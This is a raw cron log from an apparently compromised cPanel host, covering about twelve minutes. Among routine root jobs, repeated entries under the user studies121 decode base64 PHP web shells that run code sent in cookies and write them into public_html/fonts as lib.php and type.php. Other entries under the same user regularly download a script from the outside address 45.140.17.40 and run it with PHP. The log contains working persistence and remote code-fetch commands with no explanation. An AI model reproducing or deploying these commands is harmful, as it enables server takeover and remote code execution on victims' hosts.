Sep 11 00:07:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:07:01 ip-184-168-122-23 CROND[31388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:08:01 ip-184-168-122-23 CROND[31469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:08:01 ip-184-168-122-23 CROND[31470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:08:01 ip-184-168-122-23 CROND[31473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:08:01 ip-184-168-122-23 CROND[31474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:08:01 ip-184-168-122-23 CROND[31475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:09:01 ip-184-168-122-23 CROND[31559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:09:01 ip-184-168-122-23 CROND[31561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:09:01 ip-184-168-122-23 CROND[31563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:09:01 ip-184-168-122-23 CROND[31564]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 00:09:01 ip-184-168-122-23 CROND[31562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:10:01 ip-184-168-122-23 CROND[31670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:10:01 ip-184-168-122-23 CROND[31672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:10:01 ip-184-168-122-23 CROND[31676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:10:01 ip-184-168-122-23 CROND[31680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:10:01 ip-184-168-122-23 CROND[31678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:10:01 ip-184-168-122-23 CROND[31677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:10:01 ip-184-168-122-23 CROND[31679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:10:01 ip-184-168-122-23 CROND[31682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:11:01 ip-184-168-122-23 CROND[31792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:11:01 ip-184-168-122-23 CROND[31794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:11:01 ip-184-168-122-23 CROND[31795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:11:01 ip-184-168-122-23 CROND[31796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:12:01 ip-184-168-122-23 CROND[31963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:12:01 ip-184-168-122-23 CROND[31965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:12:01 ip-184-168-122-23 CROND[31968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:12:01 ip-184-168-122-23 CROND[31966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:12:01 ip-184-168-122-23 CROND[31967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:13:02 ip-184-168-122-23 CROND[32059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:13:02 ip-184-168-122-23 CROND[32061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:13:02 ip-184-168-122-23 CROND[32063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:13:02 ip-184-168-122-23 CROND[32062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:14:01 ip-184-168-122-23 CROND[32155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:14:01 ip-184-168-122-23 CROND[32157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:14:01 ip-184-168-122-23 CROND[32159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:14:01 ip-184-168-122-23 CROND[32160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:14:01 ip-184-168-122-23 CROND[32161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:15:01 ip-184-168-122-23 CROND[32253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32257]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:15:01 ip-184-168-122-23 CROND[32259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:16:01 ip-184-168-122-23 CROND[32400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:16:01 ip-184-168-122-23 CROND[32401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:16:01 ip-184-168-122-23 CROND[32404]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:16:01 ip-184-168-122-23 CROND[32403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:16:01 ip-184-168-122-23 CROND[32405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:16:01 ip-184-168-122-23 CROND[32407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:17:01 ip-184-168-122-23 CROND[32572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:17:01 ip-184-168-122-23 CROND[32574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:17:01 ip-184-168-122-23 CROND[32577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:17:01 ip-184-168-122-23 CROND[32576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:18:01 ip-184-168-122-23 CROND[32662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:18:01 ip-184-168-122-23 CROND[32666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:18:01 ip-184-168-122-23 CROND[32665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:18:01 ip-184-168-122-23 CROND[32667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:18:01 ip-184-168-122-23 CROND[32668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:19:01 ip-184-168-122-23 CROND[32765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:19:01 ip-184-168-122-23 CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:19:01 ip-184-168-122-23 CROND[32767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
